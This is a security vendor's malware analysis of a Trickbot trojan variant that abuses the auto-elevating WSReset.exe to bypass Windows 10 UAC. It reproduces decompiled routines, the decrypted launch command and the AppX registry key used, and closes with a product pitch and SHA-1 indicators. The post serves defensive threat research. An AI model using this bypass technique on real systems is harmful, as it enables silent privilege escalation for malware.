

Trickbot Trojan Leveraging a New Windows 10 UAC Bypass

 blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass



- [Tweet](#)
-



The **Trickbot trojan** is one of the most advanced malware delivery vehicles currently in use. Attackers have leveraged it to deliver a wide variety of malicious code, in many different methods. Just yesterday, [Bleeping Computer](#) reported that news articles from President

Trump's impeachment trial have been used to hide Trickbot from antivirus scanners.

On almost a daily basis, malicious actors reinvent Trickbot and work to find new pathways to deliver the trojan onto user machines. This is what makes Trickbot among the most advanced malware delivery vehicles; the constant evolution of methodologies used for delivery.

The latest revision, which the Morphisec Labs team detected in new samples, leverages the *Windows 10 WSRReset UAC Bypass* to circumvent user account control and deliver its payload onto user machines.

The Trickbot Trojan and Windows 10

The WSRReset UAC Bypass process begins with *Trickbot* checking to see if the system it's on is running Windows 7 or Windows 10. If it is running under Windows 7, it will utilize the CMSTPLUA UAC bypass (the same one as in previous samples). It's only when the system is running Windows 10 that Trickbot uses the WSRReset UAC Bypass.

```
1 BOOL is_windows10()
2 {
3     BOOL result; // eax
4     RTL_OSVERSIONINFOFOW os_versioninfo; // [esp+0h] [ebp-234h]
5     OSVERSIONINFOEXW os_versioninfo_1; // [esp+114h] [ebp-120h]
6
7     os_versioninfo.dwOSVersionInfoSize = 0x114;
8     RtlGetVersion(&os_versioninfo);
9     result = 0;
10    if ( os_versioninfo.dwMajorVersion >= 10 )
11    {
12        os_versioninfo_1.dwOSVersionInfoSize = 0x11C;
13        GetVersionExW(&os_versioninfo_1);
14        result = os_versioninfo_1.wProductType == 1;
15    }
16    return result;
17 }
```

Figure 1 OS version check.

```
if ( os_data->is_win10 )
    wsreset_uac_bypass(&trickbot_path);
else
    cmstplua_uac_bypass(&trickbot_path);
}
```

Figure 2 If Windows 10 - utilize WSRReset UAC Bypass.

The WSReset UAC Bypass, discovered in March 2019, allows Trickbot authors to take advantage of the WSReset.exe process. The WSReset.exe process is a Microsoft signed executable that is used to reset Windows Store settings, according to its manifest file. What's most important here, though, is that the 'autoElevate' property is set to "true." This is what allows the WSReset UAC Bypass to be used for privilege escalation.

```
C:\Users\john>sigcheck -m C:\Windows\System32\WSReset.exe

Sigcheck v2.72 - File version and signature viewer
Copyright (C) 2004-2019 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\WSReset.exe:
  Verified:      Signed
  Signing date:  6:11 AM 12/4/2019
  Publisher:     Microsoft Windows
  Company:       Microsoft Corporation
  Description:   This tool resets the Windows Store without changing account settings or deleting installed apps
  Product:       Microsoft« Windows« Operating System
  Prod version:  10.0.18362.145
  File version:  10.0.18362.145 (WinBuild.160101.0800)
  MachineType:  64-bit
  Manifest:
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly
  xmlns="urn:schemas-microsoft-com:asm.v1"
  xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
  manifestVersion="1.0">
<assemblyIdentity
  name="Microsoft.Windows.EndUser.WSReset"
  processorArchitecture="amd64"
  version="5.1.0.0"
  type="win32"/>
<description>WSReset</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  <security>
    <requestedPrivileges>
      <requestedExecutionLevel
        level="highestAvailable"
        uiAccess="false"
      />
    </requestedPrivileges>
  </security>
</trustInfo>
<asmv3:application>
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    <autoElevate>true</autoElevate>
  </asmv3:windowsSettings>
</asmv3:application>
</assembly>

C:\Users\john>
```

Figure 3 WSReset manifest.

Trickbot decrypts its strings in order to use the WSReset UAC Bypass, such as the registry path and the command to execute.

```

1 BOOL __cdecl wsreset_uac_bypass(int trickbot_path)
2 {
3     int trickbot_path_len; // eax
4     int trickbot_path_wlen; // ebp
5     int sys_dir; // eax
6     int default_command; // esi
7     int sys_dir_len; // eax
8     int sys_dir_len_slash; // edi
9     int command_len; // eax
10    int wsreset_len; // edi
11    int reg_path_len; // eax
12    BOOL v10; // ebx
13    int reg_path; // [esp+0h] [ebp-420h]
14    char wsreset; // [esp+208h] [ebp-218h]
15
16    trickbot_path_len = strlen(trickbot_path);
17    trickbot_path_wlen = 2 * trickbot_path_len;
18    sys_dir = RtlAllocateHeap_wrap(2 * trickbot_path_len + 0x410, 0);
19    default_command = sys_dir;
20    sys_dir_len = GetSystemDirectoryW(sys_dir, 0x208);
21    if ( sys_dir_len )
22    {
23        *(default_command + 2 * sys_dir_len) = '\\';
24        sys_dir_len_slash = sys_dir_len + 1;
25    }
26    else
27    {
28        sys_dir_len_slash = 0;
29    }
30    command_len = decrypt_string_wrap((default_command + 2 * sys_dir_len_slash), 0x28); // <system_dir>\cmd.exe /c start
31    strcat_c(default_command + 2 * (sys_dir_len_slash + command_len), trickbot_path, trickbot_path_wlen + 2); // <system_dir>\cmd.exe /c start <trickbot_path>
32    wsreset_len = decrypt_string_wrap(&wsreset, 0x29); // WSReset.exe
33    reg_path_len = decrypt_string_wrap(&reg_path, 0x2A); // Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2
34    v10 = sub_4017B0(&wsreset, wsreset_len, &reg_path, reg_path_len, default_command) == 0;
35    sub_414260(default_command);
36    return v10;
37 }

```

Figure 4 Trickbot command preparation.

Next, Trickbot uses “reg.exe” in order to add the relevant keys that allows it to utilize the WSReset UAC Bypass.

Figure 5 Using reg.exe to add relevant keys.

Figure 6 Registry before WSReset execution.

The final step in this bypass is to execute WSReset.exe, which will cause Trickbot to run with elevated privileges without a UAC prompt. Trickbot does that using 'ShellExecuteExW' API. This final executable allows Trickbot to deliver its payload onto workstations and other endpoints.

```
1 int __cdecl execute_wsreset(int wsreset_exe, int a2, int a3, int a4, int a5)
2 {
3     int v5; // edi
4     int v6; // eax
5     int v7; // esi
6     SHELLEXECUTEINFOW execute_info; // [esp+0h] [ebp-44h]
7
8     if ( !wsreset_exe )
9         return 0;
10    memset(&execute_info.hwnd, 0, 0x34u);
11    execute_info.cbSize = 60;
12    execute_info.fMask = 64;
13    execute_info.lpFile = wsreset_exe;
14    v5 = 0;
15    execute_info.lpParameters = a2;
16    execute_info.nShow = a4;
17    execute_info.lpVerb = a3;
18    v6 = ShellExecuteExW(&execute_info);
19    if ( v6 )
20    {
21        v7 = v6;
22        if ( a5 && WaitForSingleObject(execute_info.hProcess, 120000) == STATUS_TIMEOUT )
23            TerminateProcess(execute_info.hProcess, 0x102);
24        CloseHandle(execute_info.hProcess);
25        v5 = v7;
26    }
27    return v5;
28 }
```

Figure 7 WSReset.exe execution.

Morphisec Secures Your Endpoints Against the Trickbot MALWARE

The Morphisec Unified Threat Prevention Platform blocks Trickbot before it is able to execute its process, including the WSReset UAC Bypass, through the power of moving target defense. By morphing the application memory structures on endpoints, we take away the attackers' ability to accurately target our customers' critical systems. This protects workstations, servers, VDIs, and cloud workloads against this and other damaging attacks.

IOC: (SHA-1)

- b9cc1b651f579ff1afb11427f0ec1c882afde710
- 24263d91575bb825c33e3fd27f35bc7bd611cee3
- 864d3e3f7ad0f144f8d838ea9638d4c264c5c063

- f33c057d652aa70c5f1332e14c0b8d9c77a5aa1c
- b1f7f71b5f7fee1cf38e2591e50cb181f7bd5353
- 6de843fb12f456b0ea42876d82f39fe35b5cf6ca

Contact SalesInquire via Azure